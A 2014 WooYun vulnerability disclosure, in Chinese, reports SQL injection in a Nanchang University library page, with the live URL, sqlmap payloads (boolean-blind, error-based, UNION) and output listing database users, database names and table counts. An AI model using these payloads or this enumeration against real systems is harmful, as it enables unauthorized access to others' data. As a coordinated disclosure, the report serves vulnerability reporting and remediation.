漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-062139
漏洞标题：南昌大学图书馆sql注入
相关厂商：南昌大学
漏洞作者： troublesaver
提交时间：2014-05-27 18:07
修复时间：2014-07-11 18:07
公开时间：2014-07-11 18:07
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-05-27： 细节已通知厂商并且等待厂商处理中
2014-05-28： 厂商已经确认，细节仅向厂商公开
2014-06-07： 细节向核心白帽子及相关领域专家公开
2014-06-17： 细节向普通白帽子公开
2014-06-27： 细节向实习白帽子公开
2014-07-11： 细节向公众公开
简要描述：
我是来拿邀请码滴
详细说明：
公告页面存在sql注入http://lib.ncu.edu.cn/readerservice/lib_news.asp?n1=10
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: n1
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: n1=1' AND 3771=3771 AND 'VLYf'='VLYf
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: n1=1' AND 9969=CONVERT(INT,(SELECT CHAR(113)+CHAR(111)+CHAR(115)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (9969=9969) THEN CH
AR(48) END))+CHAR(113)+CHAR(121)+CHAR(98)+CHAR(113)+CHAR(113))) AND 'RCIT'='RCIT
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: n1=1' UNION ALL SELECT CHAR(113)+CHAR(111)+CHAR(115)+CHAR(112)+CHAR(113)+CHAR(86)+CHAR(118)+CHAR(116)+CHAR(97)+CHAR(117)+CH
6)+CHAR(114)+CHAR(86)+CHAR(101)+CHAR(113)+CHAR(121)+CHAR(98)+CHAR(113)+CHAR(113),NULL,NULL,NULL,NULL--
---
漏洞证明：
atabase management system users [5]:
*] BUILTIN\\Administrators
*] cxuser
*] libcomm
*] libuser
*] sa
13:55:06] [INFO] fetching database names
13:55:06] [INFO] the SQL query used returns 9 entries
13:55:06] [INFO] starting 7 threads
13:55:06] [INFO] resumed: "cxreport"
13:55:06] [INFO] resumed: "Giftbook"
13:55:06] [INFO] resumed: "LibDB_08"
13:55:06] [INFO] resumed: "libHome"
13:55:06] [INFO] resumed: "model"
13:55:07] [INFO] resumed: "master"
13:55:07] [INFO] resumed: "msdb"
13:55:07] [INFO] resumed: "nweb"
13:55:07] [INFO] resumed: "tempdb"
vailable databases [9]:
*] cxreport
*] Giftbook
*] LibDB_08
*] libHome
*] master
*] model
*] msdb
*] nweb
*] tempdb
13:55:07] [WARNING] missing table parameter, sqlmap will retrieve th
13:55:07] [INFO] fetching tables for databases: Giftbook, LibDB_08,
13:55:07] [INFO] the SQL query used returns 2 entries
13:55:07] [INFO] starting 2 threads
13:55:07] [INFO] resumed: "dbo.syssegments"
13:55:07] [INFO] resumed: "dbo.sysconstraints"
13:55:07] [WARNING] the SQL query provided does not return any outpu
13:55:07] [WARNING] the SQL query provided does not return any outpu
13:55:07] [WARNING] in case of continuous data retrieval problems yo
13:55:08] [WARNING] the SQL query provided does not return any outpu
13:55:08] [WARNING] the SQL query provided does not return any outpu
13:55:09] [WARNING] the SQL query provided does not return any outpu
13:55:09] [WARNING] the SQL query provided does not return any outpu
13:55:09] [WARNING] the SQL query provided does not return any outpu
13:55:12] [WARNING] the SQL query provided does not return any outpu
13:55:13] [WARNING] the SQL query provided does not return any outpu
13:55:13] [WARNING] the SQL query provided does not return any outpu
13:55:13] [WARNING] the SQL query provided does not return any outpu
13:55:13] [WARNING] the SQL query provided does not return any outpu
13:55:13] [INFO] the SQL query used returns 82 entries
13:55:13] [INFO] starting 7 threads
13:55:13] [INFO] the SQL query used returns 10 entries
13:55:13] [INFO] starting 7 threads
13:55:13] [INFO] resumed: "dbo.dtproperties"
13:55:13] [INFO] resumed: "dbo.gzzd"
13:55:13] [INFO] resumed: "dbo.libnews"
13:55:13] [INFO] resumed: "dbo.superuser"
13:55:13] [INFO] resumed: "dbo.sysconstraints"
13:55:13] [INFO] resumed: "dbo.xxdt"
13:55:13] [INFO] resumed: "dbo.syssegments"
13:55:13] [INFO] resumed: "libuser.pangolin_test_table"
13:55:13] [INFO] resumed: "libuser.SQL_Dir"
13:55:13] [INFO] resumed: "libuser.SQL_Path"
13:55:14] [WARNING] the SQL query provided does not return any outpu
13:55:14] [WARNING] the SQL query provided does not return any outpu
13:55:14] [WARNING] the SQL query provided does not return any outpu
13:55:14] [WARNING] the SQL query provided does not return any outpu
13:55:14] [INFO] the SQL query used returns 36 entries
13:55:14] [INFO] starting 7 threads
13:55:15] [WARNING] the SQL query provided does not return any outpu
13:55:15] [WARNING] the SQL query provided does not return any outpu
13:55:15] [WARNING] the SQL query provided does not return any outpu
13:55:16] [WARNING] the SQL query provided does not return any outpu
atabase: nweb
--------------------------------------+---------+
Table | Entries |
--------------------------------------+---------+
dbo.xxdt | 123 |
dbo.gzzd | 50 |
dbo.libnews | 9 |
dbo.sysconstraints | 9 |
dbo.syssegments | 3 |
dbo.superuser | 1 |
libuser.SQL_Dir | 1 |
--------------------------------------+---------+
atabase: tempdb
--------------------------------------+---------+
Table | Entries |
--------------------------------------+---------+
dbo.syssegments | 3 |
--------------------------------------+---------+
atabase: master
--------------------------------------+---------+
Table | Entries |
--------------------------------------+---------+
INFORMATION_SCHEMA.PARAMETERS | 2294 |
dbo.spt_values | 730 |
INFORMATION_SCHEMA.ROUTINES | 652 |
INFORMATION_SCHEMA.COLUMN_PRIVILEGES | 379 |
INFORMATION_SCHEMA.COLUMNS | 379 |
INFORMATION_SCHEMA.VIEW_COLUMN_USAGE | 295 |
INFORMATION_SCHEMA.VIEW_TABLE_USAGE | 62 |
INFORMATION_SCHEMA.TABLES | 34 |
INFORMATION_SCHEMA.TABLE_PRIVILEGES | 33 |
dbo.spt_server_info | 29 |
dbo.spt_provider_types | 25 |
INFORMATION_SCHEMA.VIEWS | 25 |
INFORMATION_SCHEMA.ROUTINE_COLUMNS | 17 |
dbo.spt_datatype_info_ext | 10 |
dbo.spt_datatype_info_ext | 10 |
INFORMATION_SCHEMA.SCHEMATA | 9 |
dbo.syssegments | 3 |
dbo.spt_monitor | 1 |
dbo.sysconstraints | 1 |
--------------------------------------+---------+
atabase: msdb
--------------------------------------+---------+
Table | Entries |
--------------------------------------+---------+
dbo.sysconstraints | 99 |
dbo.backupfile | 20 |
dbo.syscategories | 19 |
dbo.backupmediafamily | 14 |
dbo.backupmediaset | 14 |
dbo.backupset | 14 |
dbo.syssegments | 3 |
--------------------------------------+---------+
修复方案：
版权声明：转载请注明来源 troublesaver@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：6
确认时间：2014-05-28 16:35
厂商回复：
已经通知用户处理
最新状态：
暂无